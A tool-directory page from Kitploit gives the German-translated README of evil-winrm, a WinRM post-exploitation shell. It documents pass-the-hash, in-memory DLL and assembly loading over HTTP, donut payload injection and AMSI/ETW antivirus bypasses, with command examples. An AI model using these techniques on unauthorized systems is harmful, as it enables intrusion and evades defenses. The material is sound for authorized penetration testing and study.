Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
evil-winrm — Die ultimative WinRM-Shell für Hacking/Pentesting | Kitploit
Tools/GitHubGitHub/hackplayers/evil-winrm
Payload-GenerierungExploitationPost-ExploitationPenetrationstestsAuthentifizierungRemote-Access-Tool
GitHubhackplayers/evil-winrm

evil-winrm

Die ultimative WinRM-Shell für Hacking/Pentesting

Repository anzeigen
5.4k680vor 8 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Evil-WinRM ![Version-shield] ![Ruby2.3-shield] ![Gem-Version] ![License-shield] ![Docker-shield]

Die ultimative WinRM-Shell für Hacking/Pentesting

Banner

Beschreibung & Zweck

Diese Shell ist die ultimative WinRM-Shell für Hacking/Pentesting.

WinRM (Windows Remote Management) ist die Microsoft-Implementierung des WS-Management-Protokolls. Ein standardmäßiges SOAP-basiertes Protokoll, das Hardware und Betriebssysteme verschiedener Hersteller miteinander kommunizieren lässt. Microsoft hat es in seine Betriebssysteme integriert, um Systemadministratoren das Leben zu erleichtern.

Dieses Programm kann auf jedem Microsoft Windows Server eingesetzt werden, der diese Funktion aktiviert hat (normalerweise auf Port 5985), natürlich nur, wenn Sie über die entsprechenden Anmeldeinformationen und Berechtigungen verfügen. Somit kann man sagen, dass es in einer Post-Exploitation-Phase des Hacking/Pentesting verwendet werden kann. Der Zweck dieses Programms ist es, schöne und einfach zu bedienende Funktionen für Hacking bereitzustellen. Es kann auch von Systemadministratoren für legitime Zwecke genutzt werden, aber die meisten seiner Funktionen sind auf Hacking/Pentesting ausgerichtet.

Es basiert hauptsächlich auf der WinRM-Ruby-Bibliothek, die seit Version 2.0 ihre Arbeitsweise geändert hat. Anstelle des WinRM-Protokolls wird nun PSRP (Powershell Remoting Protocol) verwendet, um Runspace-Pools zu initialisieren sowie Pipelines zu erstellen und zu verarbeiten.

Funktionen

  • Kompatibel mit Linux- und Windows-Client-Systemen
  • Laden von Powershell-Skripten in den Arbeitsspeicher
  • Laden von DLL-Dateien in den Arbeitsspeicher unter Umgehung einiger AVs
  • Laden von C# (C Sharp)-Assemblies in den Arbeitsspeicher unter Umgehung einiger AVs
  • Laden von x64-Payloads, die mit der großartigen [donut]-Technik erstellt wurden
  • Dynamischer AMSI-Bypass zur Umgehung von AV-Signaturen
  • Pass-the-Hash-Unterstützung
  • Unterstützung der Kerberos-Authentifizierung, einschließlich ccache- und kirbi-Dateien
  • SSL- und Zertifikatsunterstützung
  • Hoch- und Herunterladen von Dateien mit Fortschrittsanzeige
  • Auflisten von Diensten auf entfernten Maschinen ohne Berechtigungen
  • Befehlsverlauf
  • WinRM-Befehlsvervollständigung
  • Vervollständigung lokaler Dateien/Verzeichnisse
  • Vervollständigung entfernter Pfade (Dateien/Verzeichnisse) (optional deaktivierbar)
  • Farbgebung von Eingabeaufforderung und Ausgabenachrichten (optional deaktivierbar)
  • Optionale Protokollierungsfunktion
  • Docker-Unterstützung (vorgefertigte Images verfügbar auf [Dockerhub])
  • Abfangen von Signalen, um unbeabsichtigtes Beenden der Shell bei Strg+C zu vermeiden
  • Anpassbarer User-Agent unter Verwendung des legitimen Windows-Standard-User-Agents
  • ETW (Event Tracing for Windows)-Bypass

Hilfe```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message

root@kitploit:~
## Anforderungen
Ruby 2.3 oder höher wird benötigt. Einige ruby gems werden ebenfalls benötigt: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`.
Abhängig von Ihrer Installationsmethode (4 verfügbar) kann es erforderlich sein, diese manuell zu installieren.

Eine weitere wichtige Anforderung, die nur für die Kerberos-Authentifizierung verwendet wird, ist die Installation des Kerberos-Pakets für die Netzwerkauthentifizierung.
Für einige Linux-Distributionen wie Debian-basierte (Kali, Parrot usw.) heißt es `krb5-user`. Für BlackArch heißt es `krb5` und es könnte bei anderen Linux-Distributionen anders heißen.

Die Remote-Pfadvervollständigung funktioniert nur, wenn Ihr ruby mit der Option `--with-readline-dir` kompiliert wurde. Diese ist standardmäßig in ruby aktiviert, das in einigen Linux-Distributionen enthalten ist, jedoch nicht in allen. Weitere Informationen finden Sie [im Abschnitt unten](#Remote-path-completion).

## Installation & Schnellstart (4 Methoden)

### Methode 1. Installation direkt als ruby gem (Abhängigkeiten werden automatisch auf Ihrem System installiert)
 - Schritt 1. Installieren Sie es (die Abhängigkeiten werden automatisch installiert): ```gem install evil-winrm```
 - Schritt 2. Fertig. Starten Sie es einfach!```
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Methode 2. Git-Klon und manuelle Installation der Abhängigkeiten auf Ihrem System

  • Schritt 1. Abhängigkeiten manuell installieren: sudo gem install winrm winrm-fs stringio logger fileutils
  • Schritt 2. Repository klonen: git clone https://github.com/Hackplayers/evil-winrm.git
  • Schritt 3. Fertig. Starten Sie es einfach!``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
root@kitploit:~
### Methode 3. Verwendung von Bundler (Abhängigkeiten werden nicht auf Ihrem System installiert, nur um evil-winrm zu verwenden)
 - Schritt 1. Bundler installieren: `gem install bundler`
 - Schritt 2. Repository klonen: `git clone https://github.com/Hackplayers/evil-winrm.git`
 - Schritt 3. Abhängigkeiten mit Bundler installieren: `cd evil-winrm && bundle install --path vendor/bundle`
 - Schritt 4. Mit Bundler starten:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Methode 4. Docker verwenden

  • Schritt 1. Docker-Container basierend auf bereits erstelltem Image starten:``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
root@kitploit:~
## Documentation

### Clear text password
Wenn Sie das Passwort nicht im Klartext angeben möchten, können Sie optional das Argument `-p` weglassen; das Passwort wird dann abgefragt, ohne angezeigt zu werden.

### Ipv6
Um IPv6 zu verwenden, muss die Adresse zu /etc/hosts hinzugefügt werden. Setzen Sie einfach den bereits festgelegten Hostnamen nach dem Argument `-i` anstelle einer IP-Adresse ein.

### Grundlegende Befehle
 - **upload**: Lokale Dateien können mit der Tabulatortaste automatisch vervollständigt werden.
   - usage: `upload local_filename` or `upload local_filename destination_filename`
 - **download**:
   - usage: `download remote_filename` or `download remote_filename destination_filename`

 __Hinweise zu Pfaden (upload/download)__:
   Relative Pfade sind bei Download/Upload nicht erlaubt. Verwenden Sie Dateinamen im aktuellen Verzeichnis oder absolute Pfade.
   Wenn Sie Evil-WinRM in einer Docker-Umgebung verwenden, beachten Sie, dass alle lokalen Pfade unter `/data` liegen sollten und stellen Sie sicher, dass Sie es als Volume gemountet haben, um auf heruntergeladene Dateien zugreifen oder Dateien von Ihrem lokalen Host-Betriebssystem hochladen zu können.

 - **services**: Listet alle Dienste auf und zeigt an, ob Ihr Konto über Berechtigungen für jeden einzelnen verfügt. Zur Nutzung dieser Funktion sind keine Administratorrechte erforderlich.
 - **menu**: Lädt die Funktionen `Invoke-Binary`, `Dll-Loader` und `Donut-Loader`, die wir weiter unten erläutern. Wenn eine ps1 geladen wird, werden alle ihre Funktionen angezeigt.
 - **clear** oder **cls**: Löscht den Terminalbildschirm. Sie können auch die Tastenkombination `Ctrl+L` verwenden, um den Bildschirm zu leeren.```
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit

PowerShell-Skripte laden

  • Um eine ps1-Datei zu laden, geben Sie einfach den Namen ein (Auto-Vervollständigung mit Tab ist möglich). Die Skripte müssen sich im mit dem Argument -s festgelegten Pfad befinden. Geben Sie erneut menu ein, um die geladenen Funktionen zu sehen. Sehr große Dateien können lange zum Laden benötigen.``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu

    ,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
    | __)
    \ / / | | ;
    )') \ // / |/ | / / \ /
    | \ /| | |
    /
    / \ /| | | \ | / Y
    /
    _____ / _/ |__|
    / _/\ / ||| /__| /__| / / / / / /

    root@kitploit:~
       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
    

[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember

root@kitploit:~
### Erweiterte Befehle
- Invoke-Binary: Ermöglicht das Ausführen von .Net-Assemblys im Arbeitsspeicher. Der Name kann mithilfe der Tabulatortaste automatisch vervollständigt werden. Argumente für die EXE-Datei können durch Kommas getrennt übergeben werden. Beispiel: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. Die ausführbaren Dateien müssen sich im mit dem Argument `-e` festgelegten Pfad befinden.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:


  • Dll-Loader: ermöglicht das Laden von DLL-Bibliotheken im Speicher, es entspricht: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

    Die DLL-Datei kann über SMB, HTTP oder lokal gehostet werden. Nach dem Laden geben Sie menu ein, dann können Sie alle Funktionen automatisch vervollständigen.``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)

    Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll

    Description

    Function that loads an arbitrary dll

Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu

[... Snip ...]

Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()

Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64

root@kitploit:~
- Donut-Loader: ermöglicht das Injizieren von x64 Payloads, die mit der großartigen [donut]-Technik generiert wurden. Keine Notwendigkeit, die payload.bin zu kodieren, einfach generieren und injizieren!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

Sie können diesen [donut-maker] verwenden, um die payload.bin zu generieren, falls Sie Windows nicht nutzen. Dieses Skript verwendet ein Python-Modul, das von Marcello Salvati ([byt3bl33d3r]) geschrieben wurde. Es kann mit pip installiert werden: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe


.'/,-Y" "-. l.Y ^. /\ __ Donuts! i /" "
| /" "\ o ! l ] o !
./ \ _ _ .
__./ "

X / \ _./ ( \ . ..--" ~-. Z,-- /
__. ( / ______) \ l /-----
" / Y \ / | "x
.^ |
j Y

[+] Donut generated successfully: payload.bin

root@kitploit:~
- Bypass-4MSI: patcht AMSI-Schutz.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

Kerberos

  • Zuerst müssen Sie die Uhrzeit mit dem DC synchronisieren: rdate -n <dc_ip>

  • Es gibt viele Möglichkeiten, Tickets zu generieren:

    • Mit [ticketer.py] aus impacket
    • Mit [Rubeus] oder [Mimikatz], um kirbi-Tickets zu erhalten (automatische Konvertierung in ccache wird unterstützt)
  • Ticketdatei hinzufügen. Es gibt 3 Möglichkeiten:

    export KRB5CCNAME=/foo/var/ticket.ccache

    cp ticket.ccache /tmp/krb5cc_0

    Verwenden Sie den Parameter -K: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache oder evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

    Bei Verwendung von -K wird das Tool automatisch:

    • Das Ticketformat erkennen (ccache oder kirbi)
    • Kirbi-Tickets bei Bedarf in das ccache-Format konvertieren (erfordert ticket_converter.py oder impacket-ticketConverter)
    • Überprüfen, ob die Datei existiert und lesbar ist
    • Die Umgebungsvariable KRB5CCNAME setzen
    • IP-Adressen in vollqualifizierte Domainnamen (FQDN) auflösen, um eine bessere Kerberos-Kompatibilität zu gewährleisten
  • Fügen Sie den Realm zu /etc/krb5.conf (für Linux) hinzu. Die Verwendung dieses Formats ist wichtig: ``` CONTOSO.COM = { kdc = fooserver.contoso.com }

Remote-Pfad-Vervollständigung

Diese Funktion ist möglicherweise nicht verfügbar, je nach der von Ihnen verwendeten Ruby. Sie muss mit readline-Unterstützung kompiliert sein. Andernfalls funktioniert diese Funktion nicht (eine Warnung wird angezeigt).

Methode 1 (kompilieren der erforderlichen Erweiterung)

Mit dieser Methode kompilieren Sie Ruby mit der benötigten readline-Funktion, verwenden aber nur die Bibliothek, ohne die standardmäßige Ruby-Version auf Ihrem System zu ändern. Aus diesem Grund ist dies die am meisten empfohlene Methode.

Nehmen wir an, Sie haben auf Ihrem Debian-basierten System Ruby 2.7.3:```

Install needed package

apt install libreadline-dev

Check your ruby version

ruby --version ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

Download ruby source code (2.7.3 in this case):

wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

Extract source code

tar -xf ruby-2.7.3.tar.gz

Compile the readline extension:

cd ruby-2.7.3/ext/readline ruby ./extconf.rb make

Patch current version of the ruby readline extension:

sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so

root@kitploit:~
#### Methode 2 (Ruby installieren, um es nur für evil-winrm mit rbenv zu verwenden)

Angenommen, Sie möchten Ruby 2.7.1 auf einem Debian-basierten Linux und verwenden zsh. Dieses Skript automatisiert dies. Sie müssen es aus demselben Verzeichnis starten, in dem sich evil-winrm.rb und Gemfile befinden (das nach einem Git-Clone erstellte evil-winrm-Verzeichnis zum Beispiel):```
#!/usr/bin/env zsh

# Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q

# Install rbenv
sudo apt install rbenv

# Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc

# Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1

# Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1

# Install local gems
gem install bundler
bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
    #!/usr/bin/env sh
    "${current_evwr}" "\$@"
EOF"

sudo chmod +x /usr/bin/evil-winrm

Dann können Sie evil-winrm mit dem neu installierten Ruby und der erforderlichen readline-Unterstützung von jedem Standort aus sicher starten.

Methode 3 (komplettes Ruby kompilieren)

Wenn Sie es selbst kompilieren möchten, können Sie diesen Schritten folgen. Angenommen, Sie möchten ruby 2.7.3:``` wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz tar -xzvf ruby-install-0.8.1.tar.gz cd ruby-install-0.8.1/ sudo make install ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

root@kitploit:~
Je nach Ihrem System wird es unter `/opt/rubies/ruby-2.7.3` oder vielleicht unter `~/.rubies/ruby-2.7.3` installiert.

Jetzt müssen nur noch die evil-winrm-Abhängigkeiten für diese neu installierte Ruby-Version installiert werden. Der einfachste Weg ist, den Befehl `/opt/rubies/ruby-2.7.3/bin/gem install evil-winrm` auszuführen. Der verwendete gem-Befehl muss zur neuen Ruby-Installation gehören.

Danach können Sie Ihr neu installiertes Ruby sicher starten, um es mit evil-winrm zu verwenden: `/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h`

Es wird empfohlen, dieses neu installierte Ruby nur zum Starten von evil-winrm zu verwenden. Wenn Sie es als Ihr Standard-Ruby für das System einrichten, beachten Sie, dass keine Abhängigkeitsgems installiert sind. Einige Ruby-basierte Software wie Metasploit oder andere könnte aufgrund von Abhängigkeitsproblemen nicht korrekt starten.

### Protokollierung

Diese Funktion erstellt Dateien in Ihrem $HOME-Verzeichnis, die die Befehle und die Ausgaben der WinRM-Sitzungen speichert.

### Befehlsverlauf

Evil-WinRM führt einen persistenten Befehlsverlauf für jede Kombination aus Host und Benutzer. Der Verlauf wird im Verzeichnis `~/.evil-winrm/history/` mit Dateien gespeichert, die nach folgendem Schema benannt sind: `{host}_{user}.hist`.

Wenn Sie sich mit einer Maschine verbinden, auf die Sie bereits zuvor zugegriffen haben, können Sie mit den Pfeiltasten (Hoch/Runter) durch Ihre vorherigen Befehle navigieren. Der Verlauf wird nach jeder Befehlsausführung automatisch gespeichert und beim erneuten Verbinden zum selben Host mit demselben Benutzer geladen.

### Bekannte Probleme. OpenSSL-Fehler

Manchmal kann ein Fehler wie dieser auftreten:```
Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

The error is caused because the OpenSSL 3.0 version retired some legacy functions like MD4 which are needed to run this tool. There are different existing workarounds to deal with this situation:

  • Update your system to the latest. Likely, this problem was automatically fixed on latest Ruby versions that are using newer OpenSSL versions.
  • Compile your own Ruby using old OpenSSL 1.x instead of OpenSSL 3.0 or compile it using OpenSSL > 3.0 to avoid the problematic 3.0 version.
  • The easiest one. Edit your /etc/ssl/openssl.cnf config file and be sure the config is like this:``` openssl_conf = openssl_init

[openssl_init] providers = provider_sect

[provider_sect] default = default_sect legacy = legacy_sect

[default_sect] activate = 1

[legacy_sect] activate = 1

root@kitploit:~
- Als Alternative zur letzten Problemumgehung, falls Ihr System LibreSSL anstelle von OpenSSL verwendet oder Sie einfach Ihre Systemkonfigurationsdatei nicht ändern möchten. Erstellen Sie eine einfache Datei mit dem obigen Inhalt. Es kann jeder Name verwendet werden, zum Beispiel `evil-tls.conf`. Exportieren Sie danach eine Umgebungsvariable, um das System zu zwingen, diese zu verwenden: `export OPENSSL_CONF="/path/to/evil-tls.conf"`. Starten Sie dann das Tool, der Fehler wird verschwinden.


## Änderungsprotokoll:
Änderungsprotokoll und Projektänderungen können hier eingesehen werden: [CHANGELOG.md](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/CHANGELOG.md)

## Danksagungen:
Team:

 - [Cybervaca], (Gründer). Twitter (X): [@CyberVaca_]
 - [OscarAkaElvis], Twitter (X): [@OscarAkaElvis]
 - [Jarilaos], Twitter (X): [@_Laox]
 - [arale61], Twitter (X): [@arale61]

Besonderer Dank an:

 - [Vis0r] für seine persönliche Unterstützung.
 - [Alamot] für seinen ursprünglichen Code.
 - [3v4Si0N] für seinen großartigen DLL-Loader.
 - [WinRb] Alle Mitwirkenden der Ruby-Bibliothek.
 - [TheWover] für sein großartiges Donut-Tool.
 - [byt3bl33d3r] für seine Python-Bibliothek zur Erstellung von Donut-Payloads.
 - [Sh11td0wn] für Inspiration zu neuen Funktionen.
 - [Borch] für seine Hilfe bei der Implementierung der Protokollierungsfunktion.
 - [Hackplayers] für die Bereitstellung eines Zuhauses auf ihrem GitHub für diese Software.

## Haftungsausschluss & Lizenz
Dieses Skript ist unter LGPLv3+ lizenziert. Direkter Link zur [Lizenz](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/LICENSE).

Evil-WinRM sollte nur für autorisierte Penetrationstests und/oder gemeinnützige Bildungszwecke verwendet werden.
Missbrauch dieser Software liegt nicht in der Verantwortung des Autors oder eines anderen Mitarbeiters.
Verwenden Sie es auf Ihren eigenen Servern und/oder mit der Erlaubnis des Serverbesitzers.

<!-- Github URLs -->
[Cybervaca]: https://github.com/cybervaca
[OscarAkaElvis]: https://github.com/OscarAkaElvis
[Jarilaos]: https://github.com/jarilaos
[arale61]: https://github.com/arale61
[Vis0r]: https://github.com/vmotos
[Alamot]: https://github.com/Alamot
[3v4Si0N]: https://github.com/3v4Si0N
[Borch]: https://github.com/Stoo0rmq
[donut]: https://github.com/TheWover/donut
[donut-maker]: https://raw.githubusercontent.com/Hackplayers/Salsa-tools/master/Donut-Maker/donut-maker.py
[byt3bl33d3r]: https://twitter.com/byt3bl33d3r
[WinRb]: https://github.com/WinRb/WinRM/graphs/contributors
[TheWover]: https://github.com/TheWover
[Sh11td0wn]: https://github.com/Sh11td0wn
[ticketer.py]: https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/ticketer.py
[ticket_converter.py]: https://github.com/Zer1t0/ticket_converter
[Rubeus]: https://github.com/GhostPack/Rubeus
[Mimikatz]: https://github.com/gentilkiwi/mimikatz
[cheatsheet]: https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
[Dockerhub]: https://hub.docker.com/r/oscarakaelvis/evil-winrm
[Hackplayers]: https://www.hackplayers.com/

<!-- Twitter URLs -->
[@CyberVaca_]: https://twitter.com/CyberVaca_
[@OscarAkaElvis]: https://twitter.com/OscarAkaElvis
[@_Laox]: https://twitter.com/_Laox
[@arale61]: https://twitter.com/arale61

<!-- Badges URLs -->
[Version-shield]: https://img.shields.io/badge/version-3.9-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version"
[Ruby2.3-shield]: https://img.shields.io/badge/ruby-2.3+-blue.svg?style=flat-square&colorA=273133&colorB=ff0000 "Ruby 2.3 or later"
[License-shield]: https://img.shields.io/badge/license-LGPL%20v3+-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "LGPL v3+"
[Docker-shield]: https://img.shields.io/docker/automated/oscarakaelvis/evil-winrm.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "Docker rules!"
[Gem-Version]: https://img.shields.io/gem/v/evil-winrm?style=flat-square&colorA=273133&colorB=46c249 "Ruby gem"
Tool herunterladen
root@kitploit:~
  • Überprüfen Sie Kerberos-Tickets mit klist

  • Um ein Ticket zu entfernen, verwenden Sie: kdestroy

  • Weitere Informationen zu Kerberos finden Sie in diesem [cheatsheet]